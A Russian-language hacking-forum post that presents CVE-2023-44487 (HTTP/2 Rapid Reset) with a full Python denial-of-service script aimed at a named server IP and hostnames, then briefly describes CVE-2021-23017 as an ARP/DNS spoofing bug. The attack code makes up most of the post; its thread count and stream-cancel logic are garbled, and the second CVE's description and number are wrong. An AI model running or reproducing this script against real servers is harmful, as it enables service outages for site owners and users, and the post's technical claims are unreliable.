Исходник Информация CVE-2023-44487 | CVE-2021-230117 ARP + DNS - Кратко о уязвимости которого недооценивают.

qqvx

Участник
Автор темы
31
16
CVE-2023-44487 - Denial of Service через HTTP/2
Демонстрация:

Кратко о уязвимости:

Уязвимость CVE-2023-44487 в HTTP/2 позволяет отправлять запросы и за счёт быстрой отмены запросов, что приводит к значительному потреблению ресурсов сервера. Эта уязвимость была активно использована в дикой природе с августа по октябрь 2023 года.
На этом мы могли бы и закончить, но давайте подробнее разберём уязвимость на примере указанного сервера.


Целевой сервер:
IP: 185.225.34.223

Хостнеймы:
okroyirjof.beget.app
www.okroyirjof.beget.app

IMG_5807.jpeg

Пример кода:

Python:
import threading
import socket
import collections

try:
    # using Python 3.10+
    from collections.abc import MutableSet
    collections.MutableSet = collections.abc.MutableSet
    from collections.abc import MutableMapping
    collections.MutableMapping = collections.abc.MutableMapping
except ImportError:
    # using Python 3.10-
    from collections import MutableSet
    from collections import MutableMapping
   
from h2.connection import H2Connection
from h2.events import RequestReceived, StreamReset
from h2.config import H2Configuration
import ssl
from h2.errors import ErrorCodes

def root_function(url='www.okroyirjof.beget.app'):
    while True:
        try:
            # Create a TCP connection
            sock = socket.create_connection((url, 443))

            # Wrap the socket for TLS
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            ctx.set_alpn_protocols(['h2'])
            sock = ctx.wrap_socket(sock, server_hostname=url)

            # Make sure we're using HTTP/2
            assert sock.selected_alpn_protocol() == 'h2'

            # Create HTTP/2 connection
            config = H2Configuration(client_side=True)
            conn = H2Connection(config=config)
            conn.initiate_connection()
            sock.sendall(conn.data_to_send())

            # Create a new stream
            stream_id = conn.get_next_available_stream_id()
            conn.send_headers(
                stream_id,
                [(':method', 'GET'), (':authority', url), (':path', '/'), (':scheme', 'https')],
            )
            sock.sendall(conn.data_to_send())

            # Read some data
            while True:
                data = sock.recv(65535)
                if not data:
                    break

                events = conn.receive_data(data)
                for event in events:
                    if isinstance(event, RequestReceived):
                        # Cancel the stream with error code for CANCEL
                        conn.reset_stream(event.stream_id, error_code=ErrorCodes.CANCEL)
                    elif isinstance(event, StreamReset):
                        print(f"Stream {event.stream_id} cancelled.")

                sock.sendall(conn.data_to_send())
        except Exception as e:
            print(f"An error occurred: {e}")


# Create 50 threads running root_function
threads = []
for i in range(10000000000000000):
    thread = threading.Thread(target=root_function)
    thread.start()
    threads.append(thread)

# Keep the main thread alive
for thread in threads:
    thread.join()

Итог:

Не недооценивайте уязвимости, такие как CVE-2023-44487. Быстрая отмена запросов в HTTP/2 может привести к серьёзному потреблению ресурсов и ПОЛНОМУ отключению серверов.


CVE-2021-23017 - Уязвимость в DNS через ARP Spoofing

Кратко о уязвимости:

Уязвимость CVE-2021-23017 позволяет выполнять ARP-спуфинг, что может привести к перехвату DNS-запросов и последующей отправке ложных DNS-ответов. Это делает уязвимость опасной для локальных сетей, так как будет можно манипулировать трафиком, перенаправляя его на любые ресурсы.

Уязвимость CVE-2021-23017 ARP-спуфинг, манипуляции с DNS-запросами могут привести к перехвату данных, либо глобальной нагрузки на сервер, не недооценивайте их.
Демонстрация:

Используйте представленную информацию только в рамках закона. Незаконное использование может привести к серьезным правовым последствиям.

 

Вложения

  • poc.py
    3.8 KB · Просмотры: 3